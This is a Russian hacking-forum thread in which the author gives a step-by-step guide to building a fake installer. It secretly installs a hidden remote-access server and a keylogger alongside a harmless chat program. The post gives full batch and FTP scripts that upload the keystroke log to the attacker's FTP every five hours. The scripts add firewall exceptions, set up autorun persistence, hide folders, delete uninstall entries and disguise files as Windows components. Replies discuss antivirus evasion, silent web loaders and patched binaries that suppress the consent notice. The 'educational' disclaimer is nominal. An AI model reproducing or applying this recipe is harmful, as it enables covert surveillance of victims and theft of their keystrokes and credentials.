RMS+Punto Switcher+логи на FTP. Удаленное администрирование+клавиатурный шпион.

Discussion in 'Безопасность и Анонимность' started by makag, 6 Mar 2012.

  1. makag

    makag Staatsanwalt

    Joined:
    27 Sep 2009
    Messages:
    478
    Likes Received:
    564
    Reputations:
    98
    "...Петро прикинулся сиротой, униженно и подобострастно улыбался..." © М.Шолохов. Тихий Дон. ​

    Суть идеи: даем пользователю инсталятор, он его запускает, радуется установленной, нужной и полезной программе. Паралельно устанавливается наш софт

    Потребуется:
    1. Remote Manipulator System beta v.5.1.3
    2. Bat_To_Exe_Converter v.1.6
    3. Smart Install Maker v5.04
    4. Punto Switcher
    5. ftp.exe из папки виндовса.
    6. E-mail адрес, аккаунт на хостинге с поддержкой ftp.
    7. Безобидная программа, нужная пользователю.

    Описание данной сборки:
    пользователь устанавливает нужный ему софт, паралельно устанавливается наша сборка: RMS для удаленного администирования, пунто свитчер работающий в режиме "клавиатурного шпиона" и регулярная (каждые пять часов) отправка логов пунтосвитчера на фтп.

    Сборка собиралась для использования под ОС Windows 7, 32-bit, расположение каталогов с софтом на клиентсой машине:
    - Remote Manipulator System Server - в папке Program files
    - Punto Switcher - в папке C:\Recovery\ntldr
    - модуль отправки логов Punto Switcher'a - в папке C:\Recovery\update


    Собственно сама сборка:​


    Устанавливаем RMS Viewer, конфигурируем под себя *.msi установщик серверной части.
    [​IMG]

    Указываем где у лежит наш .msi дистрибутив RMS-сервера, выбираем пункт "One-click дистрибутив" для полностью автоматической установки, ставим галочку на "Получить Intenet-ID" при установке и вписываем свой e-mail, куда будем получать данные для коннекта, просим сгенерировать новый пароль.
    [​IMG]

    Переходит на вторую вкладку, "Другое", рассталвляем галочки как показано на скрине, и жмем кнопку "Конфигурировать"
    [​IMG]

    Раздел "Безопасность": устанавливаем пароль на редактирование настроек нашей копии программы.
    [​IMG]

    Раздел настройки: расставляем галочки как показано на скрине, скрываем RMS от лишних глаз. Рекомендую также пройтись на вкладку "Логирование" и проверить, не стоит ли пункт "Логирование". Если стоит, то конечно убрать :)
    [​IMG]

    Устанавливаем защиту настроек, так, на всякий случай ;) , защита от других кул-хацкеров:
    [​IMG][​IMG]

    Закрываем меню настроек RMS-сервера, получаем на выходе самораспаковывающийся архив RMS.exe. Извлекаем из архива install.cmd и настроенный *.msi инсталятор. Получившийся .msi инстралятор мы будем использовать без дополнительных изменений, а install.cmd немного дополним.
    [​IMG]

    О превращении программы Punto Switcher в своего рода кейлоггер я однажды писал здесь

    Настраиваем отправку файла дневника Punto Switcher на фтп.​

    Всего три файла:
    - собственно сам ftp.exe, из папки виндовса. По непонятным мне самому причинам, я его переименовал в windowsupdate.exe;
    - батник windowsupdate.cmd с таким содержимым:
    Code:
    @echo off        
    netsh firewall add allowedprogram C:\Recovery\update\windowsupdate.exe WindowsUpdate enable // добавляем наш переименованный фтп клиент в исключения Windows Firewall'a
    windowsupdate.exe -s:update.txt -n // запускаем фтп-клиент и указываем ему на сценарий с коммандами
    
    - текстовый документ update.txt с таким содержимым:
    Code:
    open ТВОЙ_ФТП.ru // соединяемся со своим фтп
    USER ТВОЙ_ЛОГИН_ФТП // вводим имя пользователя
    ТВОЙ_ПАРОЛЬ_ФТП // сообщаем свой пароль
    cd /http/punto05032012 // переходим в заранее созданную на фтп папку, куда будет загружаться файл дневника
    quote pasv // не знаю зачем, так на всякий случай 
    binary // готовимся к передаче файла на сервер
    put "C:\Recovery\ntldr\User Data\diary.dat" // отправляем файл на сервер
    quit // прощаемся
    
    С помощью bat2exe cобираем "модуль" отправки файла в одно целое: запускаем Bat 2 Exe, компилируем, файл на выходе назовем опять же "windowsupdate.exe"
    [​IMG][​IMG]

    Пишем батник для запуска всего безобразия (помните, при распакове архива RMS.exe у нас был батник? Вот его и дополняем):
    install.bat
    Code:
    @echo off
    @chcp 1251
    @MsiExec /x {61FFA475-24D5-44FB-A51F-39B699E3D82C} /passive REBOOT=ReallySuppress
    @MsiExec /x {11A90858-40BB-4858-A2DA-CA6495B5E907} /passive REBOOT=ReallySuppress
    @ping 127.0.0.1
    @MsiExec /I "rms.server5.1b3ru.msi" /qn       //устанавливаем RMS сервер
    @schtasks /create /tn "WindowsUpdate" /tr "C:\Recovery\update\windowsupdate.exe" /sc hourly /mo 5  // создаем задание-каждый 5 часов отправлять файл дневника PuntoSwitcher на 
    
    наш фтп
    @ping 127.0.0.1 -n 60 > nul	// ждем 60 секунд
    @reg delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Un install\{11A90858-40BB-4858-A2DA-CA6495B5E907}" /f	//удаляем RMS-сервер из списка установленных программ
    @reg delete "HKCR\Installer\Products\85809A11BB0485842AADAC46595B9E70" /f	//удаляем RMS-сервер из списка установленных программ
    @attrib +S +H "%ProgramFiles%\Remote Manipulator System - Server"	// скрываем папку RMS-сервера от посторонних глаз, ставим аттрибуты скрытый и системный
    @tasklist	// сам не знаю зачем, для профилактики наверное. в общем получаем список процессов
    @taskkill /im punto.exe		// если на компьтере уже запущен Punto Switcher - убиваем его
    @ping 127.0.0.1 -n 10 > nul	// ждем 10 секунд
    @DEL "%ProgramFiles%\Yandex\Punto Switcher\*.*" /Q /S /F 	// удаляем все файлы в папке PuntoSwitcher'a
    @reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" /v "svchost" /t REG_SZ /d "C:\Recovery\svchost.exe" /f >nul  // добавляем наш Пунто в автозагрузку
    @start "C:\Recovery\ntldr\svchost.exe"		// запускаем свой Punto Switcher
    @DEL "%ProgramFiles%\ViZio WebCam Online Chat\fonts\*.*" /Q /S /F  // чистим временную папку, откуда устанавливалось все это безобразие
    
     
    nellaisamurai, FunOfGun and OxoTnik like this.
  2. makag

    makag Staatsanwalt

    Joined:
    27 Sep 2009
    Messages:
    478
    Likes Received:
    564
    Reputations:
    98
    Теперь, когда все файлы у нас готовы, приступаем к созданию красивого инсталятора.

    Запускаем Smart Install Maker, создаем красивый дистрибутив:​

    Вкладка General, основные сведения для установки: наименование программы и т.п.. Заполняем максимально правдоподобно.
    [​IMG]

    Вкладка "Файлы" - указываем какие файлы использовать установщику и куда их распаковывать при установке. Первым делом указываем папку с нашим portable дистрибутивом безобидной программы и куда ее устанавливать:
    [​IMG]

    Следующий шаг, указываем куда распаковывать Punto Switcher (ака клавиатурный шпион :D ). Лично я выбрал системную папку Recovery.
    [​IMG]

    Предпоследнее, указываем путь для распаковки *.msi инсталятора RMS-сервера и .bat файла насстройки всей нашей системы:
    [​IMG]

    Переходим на вкладку "Комманды" и даем указание установщику выполнить наш батник:
    [​IMG]


    Остальные разделы, в частности пользовательский интерфейс инсталятора - редактируется каждым под себя, все ограничено лишь Вашей фантазией.

    Послесловие: для отвлечения внимания я взял программу VZO chat, вы можете использовать любую другую, список portable-программ велик: Интернет-пейджеры, игры, антивирусы, архиваторы. Весьма неплохую подборку я нашел на soft - portable*ru

    Для создания сборки советую использовать пятую бета версию RMS v.v.1-3, так как в более поздних версиях после установки выскакивывет окно с предложением отпарвить логин-пароль удаленному администратору.

    Основные файлы, необходимые для создания сборки - залил на депозит: ссылка 18.6 Mb .

    P.S. статья написана в ознакомительных целях, любое противоправное использование функциональных возможностей влечет за собой административную и уголовную ответственность

    Для antichat.ru. © makag
    ___________
    Прошу извинить за возможные неточности и корявость изложения. Буду рад выслушать критику и пожелания.
     
  3. vernite akk=

    vernite akk= New Member

    Joined:
    18 May 2011
    Messages:
    73
    Likes Received:
    2
    Reputations:
    0
    Правильно нет денег на норм крипт задрачивайте лигитимный софт, ТС статья хорошая но толку.
     
  4. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    943
    Likes Received:
    525
    Reputations:
    173
    Не согласен, криптуй не криптуй, всё равно рано или поздно палить антивир его будет ;)
     
  5. vernite akk=

    vernite akk= New Member

    Joined:
    18 May 2011
    Messages:
    73
    Likes Received:
    2
    Reputations:
    0
    Такто ни что не вечно, и зборка эта палица чуть медленнее чем норм криптор, но не будеш же ты инсталяшку такую прогружать=)
    А для конттроля определенного ПК есть бэкдоры.
     
  6. Chij

    Chij New Member

    Joined:
    28 Mar 2012
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    а как сделать веб-загрузчик? чтоб с сервака грузился и тихо ставился?
    И возможно ещё программно дать права администратора?
     
  7. Adio

    Adio Elder - Старейшина

    Joined:
    23 May 2005
    Messages:
    1,646
    Likes Received:
    148
    Reputations:
    18
    На ачате где то есть статья в развернутом виде про свичер помню давно читал.
     
  8. Chij

    Chij New Member

    Joined:
    28 Mar 2012
    Messages:
    4
    Likes Received:
    0
    Reputations:
    0
    если эта http://forum.antichat.ru/thread282693.html
    то там нет ничё про веб установщик.
    Видел проги в которые ссылку вбиваешь и он генерит exe, но скачать не удалось
     
  9. Creator000

    Creator000 New Member

    Joined:
    3 Jun 2012
    Messages:
    33
    Likes Received:
    1
    Reputations:
    0
    НУЖНО вырубить подверждение отправки сообщения на емайл и отключить сообщение о видеонаблюдении.
     
  10. makag

    makag Staatsanwalt

    Joined:
    27 Sep 2009
    Messages:
    478
    Likes Received:
    564
    Reputations:
    98
    для версий RMS 5.0.0.1 и RMS 5.0.1.3 - заменить exe'шники на те, что идут в архиве по ссылке
    http://f-bit.ru/233438

    пароль на архив 123


    для более новых версий рмс - или искать готовые "пропатченные" версии exe'шников в интернете, или править их самому
     
  11. zzukkko

    zzukkko New Member

    Joined:
    3 Feb 2013
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Продайте хорошую готовую программу , отправил ее, проинсталили ее под видом чего то (или вообще ошибка на инстал вылетела) и наблюдаешь и файлы копирует при желании. Все инвизибл